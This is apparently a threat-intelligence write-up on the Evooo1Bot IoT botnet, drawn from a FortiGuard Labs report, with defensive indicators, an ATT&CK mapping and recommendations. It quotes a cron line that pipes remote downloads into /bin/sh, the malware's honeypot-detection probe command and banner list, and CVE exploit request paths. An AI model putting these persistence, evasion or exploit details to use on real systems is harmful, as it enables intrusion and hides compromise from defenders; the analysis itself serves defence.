Evooo1Bot: When an Infected Router Stops Being Disposable Ammunition and Becomes Rentable Infrastructure
Summary
Evooo1Bot reuses the DDoS engine from the publicly leaked Mirai source code verbatim. That part is nothing new after ten years.
What is new is everything bolted onto it: encrypted C2 communications, an SSH brute-force scanner, a SOCKS relay module, a credential sniffer, and an integrated exploit arsenal targeting multiple known vulnerabilities. FortiGuard Labs named the family after the evooo1 string hardcoded in every binary, and has observed activity since July 2026.
The most important point is not the feature list but that the SOCKS relay module changes the economics of an infected device.
With a traditional DDoS botnet, your router is disposable ammunition: it fires, gets noticed, gets patched, and its value ends. With Evooo1Bot it becomes reusable infrastructure — a proxy node usable to conceal attack origin, bypass geographic restrictions, pivot into internal networks, or simply be sold on the residential proxy market. Fortinet assesses this as the family's most operationally significant capability.
Priority action: check whether any network device in your environment is listening on TCP port 1080, or initiating outbound SSH connections to the internet — both are behaviour with essentially no legitimate use case on a router or camera.
Discovery and Infection Vector
Evooo1Bot came to Fortinet's attention through IPS telemetry. They observed exploitation attempts against a range of edge devices, and the common thread was that all payload callbacks pointed to the same loader URL: 91.92.40[.]118/wget.sh.
Ten vulnerabilities were observed being exploited in live traffic, spanning 2007 to 2025:
| CVE | Target product |
|---|---|
| CVE-2007-3010 | Alcatel OmniPCX Enterprise — RCE |
| CVE-2016-6277 | NETGEAR multiple router models — RCE |
| CVE-2018-14558 | Tenda AC7, AC9, AC10 — command injection |
| CVE-2019-14931 | Mitsubishi Electric ME-RTU and INEA ME-RTU — command injection |
| CVE-2020-10987 | Tenda AC1900 (AC15) — RCE |
| CVE-2021-46422 | Telesquare SDT-CW3B1 — command injection |
| CVE-2022-37055 | D-Link routers — buffer overflow |
| CVE-2024-29269 | Telesquare TLR-2005KSH — command injection |
| CVE-2025-10123 | D-Link DIR-823X — command injection |
| CVE-2025-55583 | D-Link DIR-868L B1 — command injection |
Carrying both a 2007 flaw and 2025 disclosures is a deliberate choice: embedded devices have very long lifecycles, and a nearly twenty-year-old CVE still has live targets. Note that several CVEs on this list are widely shared across the IoT botnet ecosystem — their presence here is not a distinguishing indicator of Evooo1Bot specifically.
Payload observed in a packet capture of exploitation traffic (source: FortiGuard Labs).
The wget.sh script downloads and executes a binary matching the host's CPU architecture, trying 12 variants via wget, then busybox wget, then curl, then tftp, in that order. The binary is written to a temporary path, made executable, and run — and bash history is cleared post-infection.
The wget.sh loader script (source: FortiGuard Labs).
Campaign Labels: The Operator Is Measuring Per-Exploit Yield
This detail deserves separate attention.
Each exploitation attempt carries a campaign label embedded in the download command — for example -s mitsu for Mitsubishi Electric targets and rep.alcatel for Alcatel-Lucent targets. Fortinet assesses this as evidence the operator independently tracks per-vulnerability infection yield.
That is product-analytics behaviour, not script-kiddie behaviour. They are measuring which exploit produces the most devices per unit of effort, and most likely using those numbers to decide where to invest next. For a project whose output value is the number of usable proxy nodes, that kind of measurement makes complete business sense.
Anti-Analysis: Investment Well Beyond the Mirai Baseline
Before executing, the binary checks four categories of analysis-environment indicators. The lists are long, and their length is itself informative.
Filesystem presence checks: strace, ltrace, gdb, lldb, valgrind, perf, radare2, r2, rizin, cutter, iaito, ghidra, ghidraRun, ida, ida64, idat, idat64, objdump, readelf, retdec-decompiler, wireshark, tshark, tcpdump, ngrep, ettercap, yara, ssdeep, binwalk, foremost, sysdig, bpftrace, auditd, ausearch, fatrace, inotifywait, lynis, rkhunter, chkrootkit, clamdscan, clamscan, volatility, vol.py, gcore.
Running process name checks: gdb, lldb, strace, ltrace, radare2, r2, rizin, rr, valgrind, perf, ida, ida64, ghidra, sysdig, bpftrace, frida, frida-server.
Sandbox service name checks: sandboxie, cuckoo, anubis, threatexpert, joebox, comodo, hybrid-analysis, cape-sandbox, fireeye, normanbox, drakvuf.
VM and container fingerprint checks: vmware, vbox, virtualbox, qemu, firejail, bubblewrap, gvisor, kata, cuckoo, joesandbox, cape, any.run, hybrid-analysis.
That last group stands out: firejail, bubblewrap, gvisor and kata are not classical virtual machines but modern sandboxing and container technologies. Checking for them shows the authors track how researchers actually work rather than copying an aging list.
For string protection, more than 60 encrypted string blocks are handled by the same decryption procedure, using AES-256-CTR and ChaCha20. The keys are not stored directly in the binary: each is split into two 32-byte constants embedded in the .data section and combined at runtime via XOR. A separate XOR layer is applied to a subset of strings in .rodata (key 0x43 in the i386 build).
A string in its encrypted state within the binary (source: FortiGuard Labs).
My reading of this section: the anti-analysis investment sits well beyond the baseline for Mirai-derived malware. Most Mirai variants do not obfuscate strings at all, or use a single XOR with the key sitting right beside the data. Evooo1Bot's authors expect their samples to be analysed and prepared accordingly.
Once all checks pass, the binary connects to C2 on port 443 — Fortinet notes the port was chosen to blend in with expected HTTPS traffic at the network perimeter.
Module Architecture: 28 Commands
| Module | Commands | Description |
|---|---|---|
| Persistence | !persist |
Installs all persistence mechanisms simultaneously |
| Self-Update | !reinstall |
Downloads and replaces the running binary |
| Control | !kill !exit !info |
Terminate bot, exit gracefully, or return system info |
| File Transfer | !download !upload |
Bidirectional; 10 MB download limit; delimited by __FILE_START__ and __FILE_END__ |
| Interactive Shell | !shell !exec !stream !detach !bg |
Opens a /dev/ptmx PTY, sets TERM=xterm-256color, supports background execution and detach |
| Sniffer | !sniff !stopsniff |
Reads /proc/net/tcp, intercepts HTTP Basic Authorization and Cookie headers, writes to /tmp/.sniff.log |
| SOCKS Relay | !socks !socksauth !stopsocks |
Converts victim into a proxy node with optional authentication, relays arbitrary TCP traffic |
| SSH Scanner | !ssh !stopssh !enableautossh !disableautossh |
Built-in SSH client with a 150+ entry credential dictionary |
| DDoS | !attack !stopattack |
16 flood methods |
| CVE Exploit | !cve !stopcve !cveall |
HTTP-based exploit dispatcher with operator-supplied payload host (MODE:all for concurrent sweep) |
The !cve, !stopcve and !cveall commands exist only in the latest version — earlier builds support everything else.
Persistence: Five Mechanisms at Once
A single !persist command installs them all:
systemd service Unit file with Description=Apache HTTPD Cache Manager, Restart=always
SysV init Script in /etc/init.d with a ### BEGIN INIT INFO header
cron Re-downloads the script every 5 minutes:
*/5 * * * * /bin/sh -c '(wget -qO- <URL> || curl -sL <URL>) | /bin/sh ...'
Shell profile Injection into /etc/profile.d/, executed on login
rc.local Appends a download script to /etc/rc.local
Naming the unit file Apache HTTPD Cache Manager is a reasonably good disguise: it sounds plausible on a Linux server and does not trigger an administrator's suspicion when scanning a service list.
To resist termination, the binary writes to /proc/self/oom_score_adj to reduce the OOM-killer's priority, and keeps /dev/watchdog open to prevent a device reboot from interrupting operation.
That second detail is particularly sharp and worth remembering. The watchdog is the mechanism many embedded devices use to recover from a hang — if a monitoring process fails to pet the watchdog within a set interval, the device reboots itself. By holding the handle open, the malware disables that self-recovery mechanism. In other words, the familiar advice to "reboot the router to clear IoT malware" has been pre-empted.
The SOCKS Relay: Two Modes, and Why Reverse Mode Matters More
The SOCKS relay module in the analysed code (source: FortiGuard Labs).
Unlike typical botnet commands focused on downloading payloads or launching attacks, !socks turns the infected host into a SOCKS5 proxy the operator can use as a network relay.
Direct mode. The bot opens a SOCKS5 listener on the infected host at default TCP port 1080 and waits for incoming client connections. The implementation first attempts a dual-stack IPv6 listener and falls back to IPv4 if that fails. Each accepted client is passed to the session handler.
Reverse mode. Rather than exposing a listening port, the bot establishes an outbound encrypted connection to an operator-specified relay server. This persistent control channel listens for commands such as RELAY_NEW:<session_id>, indicating a new proxy session should be created.
On receiving the request, the bot opens a second encrypted connection to the same relay server, registers it using RELAY_DATA:<session_id>, and hands the connection to the SOCKS5 proxy routine. This architecture separates session control from proxy traffic, allowing multiple sessions to run independently while maintaining a stable control connection.
For defenders, reverse mode is by far the more concerning of the two. Direct mode leaves an open port — something periodic network scanning can catch. Reverse mode opens no port on the victim device, so there is no external indicator to scan for; it looks like an ordinary outbound TLS connection on port 443.
Fortinet spells out the value this delivers to attackers: the victim's IP address can be used to disguise malicious traffic, bypass geographic restrictions, or provide access to internal networks through an already compromised machine. In larger botnets, the same functionality could build distributed proxy infrastructure, enabling anonymous traffic forwarding or monetization through residential and enterprise proxy services.
SSH Brute-Forcing and Honeypot Evasion
Before starting the scanner, the malware runs two honeypot checks at different stages of the connection. This is the section with the most direct operational value in the whole report.
The first check runs during the protocol handshake, before any credentials are submitted. The scanner compares the target's SSH banner against a hardcoded list:
| Cowrie | SSH-2.0-paramiko |
SSH-2.0-Go |
| Kippo | SSH-2.0-libssh |
SSH-2.0-Parks |
| HonSSH | Twisted | SSH-2.0-CISCO_WLC |
| Glutton | russh_ |
SSH-2.0-Server |
| OpenCanary | ssh2js | SSH-2.0-MocanaSSH |
A match on any entry causes the target to be silently skipped, with no logging and no further interaction.
The second check runs after a successful login, before the persistence payload is delivered. The scanner issues this command over the established session:
cat /proc/version 2>/dev/null; echo ---; cat /proc/1/cmdline 2>/dev/null; ls /opt/cowrie /home/cowrie /home/kippo 2>/dev/null
The /proc/version output is checked for the substring Linux version. If absent, it indicates an emulated or non-standard environment and the target is skipped. The ls command detects two honeypot families: Cowrie and Kippo. If any indicator is found, the scanner abandons the target.
Fortinet explains the two checks are complementary rather than redundant: the banner check filters out honeypots that announce themselves through their SSH implementation identifier, while the post-login probe targets honeypots presenting a plausible banner but exposing themselves through the underlying host's filesystem layout. Only targets passing all three conditions proceed to payload delivery.
This has a very concrete consequence for teams running honeypots. If your organisation uses Cowrie or Kippo to collect samples and assess SSH threat activity — the two most common choices, and often the default — you will not catch this family, and you will see no trace that it visited, because the malware leaves silently at the banner stage. Your SSH threat metrics are missing Evooo1Bot, and quite likely other families applying the same technique. If honeypots feed your TI process, this is a specific reason to consider less common implementations or customising default banners.
Having passed the checks, the scanner uses a built-in SSH client with the banner SSH-2.0-OpenSSH_9.7p1.
The credential dictionary hardcoded in the binary (source: FortiGuard Labs).
A Credential Dictionary With an Enterprise Flavour
The embedded dictionary contains over 150 entries. Beyond typical IoT default credentials, the list includes service account names: jenkins, postgres, oracle, nagios, deploy.
Fortinet notes these are more common in enterprise and operational technology environments than on consumer routers.
Combine that with the other pieces of the picture — CVE-2019-14931 targeting Mitsubishi Electric industrial RTU devices, and an exploit module containing Kubernetes ingress-nginx and Atlassian Confluence — and the conclusion is clear: this is not a botnet that only hunts home routers. The authors anticipated landing on servers and operational equipment, and packed the dictionary accordingly.
The DDoS Engine
This part remains structurally consistent with the leaked Mirai source. The HTTP flood variant supports operator-specified METHOD, HEADER and EXPECT values, constructing requests with a customizable User-Agent and Content-Length.
| ID | Method | Description |
|---|---|---|
| 0x00 | udp | Generic UDP flood |
| 0x01 | vse | Valve Source Engine query amplification |
| 0x02 | dns | DNS flood |
| 0x03 | syn | TCP SYN flood |
| 0x04 | ack | TCP ACK flood |
| 0x05 | stomp | TCP STOMP |
| 0x06 | greip | GRE-encapsulated IP flood |
| 0x07 | greeth | GRE-encapsulated Ethernet flood |
| 0x08 | udpplain | High-PPS UDP, minimal header overhead |
| 0x09 | std | UDP flood with random-length payload |
| 0x0a | xmas | TCP with all flags set |
| 0x0b | usyn | URG+SYN variant |
| 0x0c | tcpall | TCP with arbitrary flag combinations |
| 0x0d | tcpfrag | Fragmented TCP flood |
| 0x0e | ovh | Technique designed to bypass OVH DDoS mitigation |
| 0x0f | asyn | Asynchronous SYN flood |
The integrated exploit module carries a plaintext CVE table in the binary, each entry mapping a CVE to one or more HTTP request strings. The operator supplies the payload host at runtime via !cve <url> or !cveall <url>:
| CVE | Target product | Path |
|---|---|---|
| CVE-2021-36260 | Hikvision IP camera | /SDK/webLanguage |
| CVE-2022-26134 | Atlassian Confluence | /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils |
| CVE-2022-30525 | Zyxel Firewall | /ztp/cgi-bin/handler |
| CVE-2023-1389 | TP-Link Archer AX21 | /cgi-bin/luci/;stok=/locale |
| CVE-2024-4577 | PHP-CGI (Windows) | allow_url_include%3D |
| CVE-2024-10914 | D-Link NAS | /cgi-bin/account_mgr.cgi |
| CVE-2025-1974 | Kubernetes ingress-nginx | /apis/networking/v1/ingresses |
| CVE-2022-29464 | WSO2 products | /fileupload/ |
Indicators of Compromise
Indicators taken from the FortiGuard Labs report of 13 August 2026. IPs are defanged.
Infrastructure
91.92.40[.]118 # loader and C2 server
hxxp://91.92.40[.]118/wget.sh # loader script, fetches 12 architecture-specific variants
C2 port: TCP 443 # chosen to blend with HTTPS at the perimeter
Sample hashes (SHA-256)
f13cb360768363d3424e2192c7805b8c8015eb8706dbbbcdead6aed8cf390109
4c0886349e9d348569fffe1b7a31e474d514508bf0cd6f1e5dd99c2a73525e4d
On-device artifacts
# Identifying string
evooo1 # hardcoded in every binary of this family
# Persistence
systemd unit with Description=Apache HTTPD Cache Manager and Restart=always
Script in /etc/init.d/ with a ### BEGIN INIT INFO header
Cron entry running every 5 minutes, piping wget or curl output into /bin/sh
Injected file in /etc/profile.d/
Anomalous appended line in /etc/rc.local
# Termination resistance
Anomalous value in /proc/self/oom_score_adj
A process holding a /dev/watchdog handle open
# Sniffer
/tmp/.sniff.log # stores captured HTTP Basic Auth credentials and cookies
Unexpected process reads of /proc/net/tcp
Network artifacts
# SOCKS relay
Listener on TCP port 1080 from a router, camera or embedded device (direct mode)
Long-lived outbound TLS to an unfamiliar address on 443 from an embedded device (reverse mode)
# Relay protocol markers
RELAY_NEW:<session_id>
RELAY_DATA:<session_id>
# File transfer markers
__FILE_START__
__FILE_END__
# SSH scanner
Client banner: SSH-2.0-OpenSSH_9.7p1
Outbound SSH connections from network devices to the internet
# Campaign labels in download commands
-s mitsu # Mitsubishi Electric targets
rep.alcatel # Alcatel-Lucent targets
Exploited CVEs — initial infection
CVE-2007-3010 Alcatel OmniPCX Enterprise
CVE-2016-6277 NETGEAR (multiple router models)
CVE-2018-14558 Tenda AC7 / AC9 / AC10
CVE-2019-14931 Mitsubishi Electric ME-RTU, INEA ME-RTU
CVE-2020-10987 Tenda AC1900 (AC15)
CVE-2021-46422 Telesquare SDT-CW3B1
CVE-2022-37055 D-Link routers
CVE-2024-29269 Telesquare TLR-2005KSH
CVE-2025-10123 D-Link DIR-823X
CVE-2025-55583 D-Link DIR-868L B1
CVEs in the exploit module
CVE-2021-36260 Hikvision IP camera
CVE-2022-26134 Atlassian Confluence
CVE-2022-29464 WSO2 products
CVE-2022-30525 Zyxel Firewall
CVE-2023-1389 TP-Link Archer AX21
CVE-2024-4577 PHP-CGI (Windows)
CVE-2024-10914 D-Link NAS
CVE-2025-1974 Kubernetes ingress-nginx
Fortinet coverage
FortiGuard Antivirus: Linux/Agent.BDS!tr
IPS signatures (15):
alcatel-lucent.omnipcx.office.mastercgi.user.command.execution CVE-2007-3010
NETGEAR.WebServer.Module.Command.Injection CVE-2016-6277
Tenda.AC15.AC1900.Authenticated.Remote.Command.Injection CVE-2018-14558, CVE-2020-10987
mitsubishi.electric.me-rtu.command.injection CVE-2019-14931
Hikvision.Products.SDK.WebLanguage.Tag.Command.Injection CVE-2021-36260
Telesquare.SDT-CW3B1.Command.Injection CVE-2021-46422, CVE-2024-29269
HTTP.URI.Java.Expression.Language.Code.Injection CVE-2022-26134
WSO2.fileupload.Arbitrary.File.Upload CVE-2022-29464
Zyxel.Firewall.ZTP.Command.Injection CVE-2022-30525
D-link.go-rt-ac750.hnap_main.buffer.overflow CVE-2022-37055
TP-Link.Archer.AX21.luci.stok.Command.Injection CVE-2023-1389
D-Link.Devices.account_mgr.cgi.Command.Injection CVE-2024-10914
PHP.CGI.Argument.Injection CVE-2024-4577
D-Link.DIR-823X.set_static_leases.Command.Injection CVE-2025-10123
D-Link.DIR-868L.fileaccess.cgi.Command.Injection CVE-2025-55583
MITRE ATT&CK Mapping
| Tactic | Technique ID | Technique Name | Observed in campaign |
|---|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application | 10 CVEs across edge devices |
| Initial Access | T1110.001 | Brute Force: Password Guessing | SSH scanner with a 150+ entry dictionary |
| Initial Access | T1078.001 | Valid Accounts: Default Accounts | IoT default credentials |
| Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell | wget.sh, interactive PTY shell |
| Persistence | T1543.002 | Create or Modify System Process: Systemd Service | Apache HTTPD Cache Manager unit |
| Persistence | T1053.003 | Scheduled Task/Job: Cron | Payload re-download every 5 minutes |
| Persistence | T1037.004 | Boot or Logon Initialization Scripts: RC Scripts | /etc/init.d, /etc/rc.local |
| Persistence | T1546.004 | Event Triggered Execution: Unix Shell Configuration Modification | Injection into /etc/profile.d/ |
| Defense Evasion | T1036.005 | Masquerading: Match Legitimate Name or Location | Unit file posing as Apache HTTPD |
| Defense Evasion | T1027 | Obfuscated Files or Information | AES-256-CTR, ChaCha20, layered XOR |
| Defense Evasion | T1140 | Deobfuscate/Decode Files or Information | Split keys recombined by XOR at runtime |
| Defense Evasion | T1497.001 | Virtualization/Sandbox Evasion: System Checks | VM, container, sandbox and honeypot checks |
| Defense Evasion | T1622 | Debugger Evasion | File and process checks for 50+ analysis tools |
| Defense Evasion | T1070.003 | Indicator Removal: Clear Command History | Bash history cleared post-infection |
| Credential Access | T1040 | Network Sniffing | Reads /proc/net/tcp, captures HTTP Basic Auth and cookies |
| Command and Control | T1573.001 | Encrypted Channel: Symmetric Cryptography | Encrypted C2 and relay channels |
| Command and Control | T1571 | Non-Standard Port | Port 443 carrying a custom C2 protocol rather than HTTPS |
| Command and Control | T1090.001 | Proxy: Internal Proxy | SOCKS5 listener on port 1080 |
| Command and Control | T1090.003 | Proxy: Multi-hop Proxy | Reverse relay through the operator's server |
| Command and Control | T1105 | Ingress Tool Transfer | wget.sh and the !download command |
| Impact | T1498 | Network Denial of Service | 16 DDoS methods |
| Impact | T1498.001 | Direct Network Flood | UDP, SYN, ACK, GRE and other variants |
Assessment
The economics of IoT botnets are shifting, and Evooo1Bot is a clear example.
For a pure DDoS botnet, each infected device is a consumable resource. It participates in a few attacks, may get blocked by an ISP or patched by its owner, and disappears. The revenue model is selling by the second or by the attack, and the operator must constantly replace lost bots.
With the SOCKS relay module, that same device becomes infrastructure with recurring value. A router on an ISP's residential IP range has a real market: residential proxy services sell the ability to route traffic through legitimate residential IPs, and customers of that kind of service pay monthly rather than by the second. Fortinet raises this monetization angle directly in its conclusion.
That shift changes incentives: the operator now has reason to keep devices alive and quiet rather than burn them out. It explains a great deal of the design in the code — the elaborate anti-analysis layer, the honeypot evasion, holding /dev/watchdog open, and five parallel persistence mechanisms. This is not malware written to fire once.
For businesses, the biggest risk is not bandwidth but identity. When your device becomes a SOCKS node, traffic attacking other organisations leaves from your public IP address. You appear in someone else's victim logs as attack infrastructure, not as a victim. That brings provider blocklist exposure, legal exposure, and reputational exposure when international partners run their reviews — all considerably harder to unwind than cleaning up an infection.
On code maturity. The anti-analysis layer here goes well beyond the Mirai-derived baseline: 60+ encrypted string blocks under AES-256-CTR and ChaCha20, split keys recombined at runtime, and check lists including gvisor and kata — technologies only someone tracking how researchers actually work would think to include. Alongside that: 28 commands, a full PTY shell, bidirectional file transfer with delimiters. This is a seriously resourced project, not a Mirai variant with a few lines changed.
Relevance for Vietnam
The target device list lands almost entirely on locally common hardware. Tenda, D-Link and TP-Link are three router brands with large market share in the Vietnamese household and small business segment. Hikvision cameras (CVE-2021-36260 in the exploit module) are present in nearly every shop, office and building. This is not a list aimed at large enterprise infrastructure — it targets what sits in every small office's network cabinet and on every shopfront ceiling.
The risk does not stop at the network device layer. The SSH dictionary contains postgres, oracle, jenkins, nagios and deploy; the exploit module contains Kubernetes ingress-nginx and Atlassian Confluence; and the infection CVE list includes industrial RTU equipment. If your organisation has any application server or CI/CD system exposing SSH to the internet with weak passwords, it falls within this campaign's scope.
The two cheapest and least noisy detection points. First: a router, camera or DVR initiating outbound SSH to the internet is behaviour with essentially no legitimate use case — embedded devices have no business reason to do it. Second: a listener on TCP port 1080 from a network device is the same. Neither requires prior knowledge of a malware name or expensive tooling.
Reverse mode is considerably harder — it merely looks like an outbound TLS connection on port 443. What discriminates there is connection longevity combined with device type: an IP camera holding a long-lived TLS session to an unfamiliar overseas address resembles none of its legitimate activity.
Finally, a note for response procedures: because the malware holds /dev/watchdog open and installs five parallel persistence mechanisms, rebooting the device is not enough. Reflash the firmware to the latest clean image and rotate all credentials.
Recommendations
Update firmware across all edge devices against the CVE list in this article, prioritising Tenda, D-Link, TP-Link and Hikvision cameras; replace hardware that is past end of support.
Change default credentials and disable SSH/Telnet on the WAN interface of every router, camera, DVR and embedded Linux device; on servers, use key-based authentication instead of passwords.
Alert on two specific behaviours: embedded devices initiating outbound SSH to the internet, and listeners on TCP port 1080 from the device network segment.
Baseline outbound connections from the IoT segment and alert on long-lived TLS sessions to unfamiliar addresses on port 443 — this is the only way to catch reverse relay mode.
Periodically check your organisation's public IPs against blocklists and reputation services — if your devices are acting as proxy nodes, that may be the first signal you receive.
If compromise is suspected, do not just reboot: reflash the firmware to the latest clean image, rotate all credentials, and review other devices in the same segment — the SSH brute-force module spreads laterally inside internal networks.
References
FortiGuard Labs — Multi-Functional Linux Botnet "Evooo1Bot", Cara Lin (13 August 2026) — original report
BleepingComputer — New Evooo1Bot Linux botnet turns routers into traffic relay nodes
GBHackers — Evooo1Bot Turns Compromised Routers Into DDoS Bots and Anonymous Proxy Nodes
Techzine — New Linux botnet turns routers into proxy servers
FastNetMon — DDoS News: Evooo1Bot Linux Botnet Hijacks Routers and Firewalls
MITRE ATT&CK — T1090: Proxy
MITRE ATT&CK — T1622: Debugger Evasion
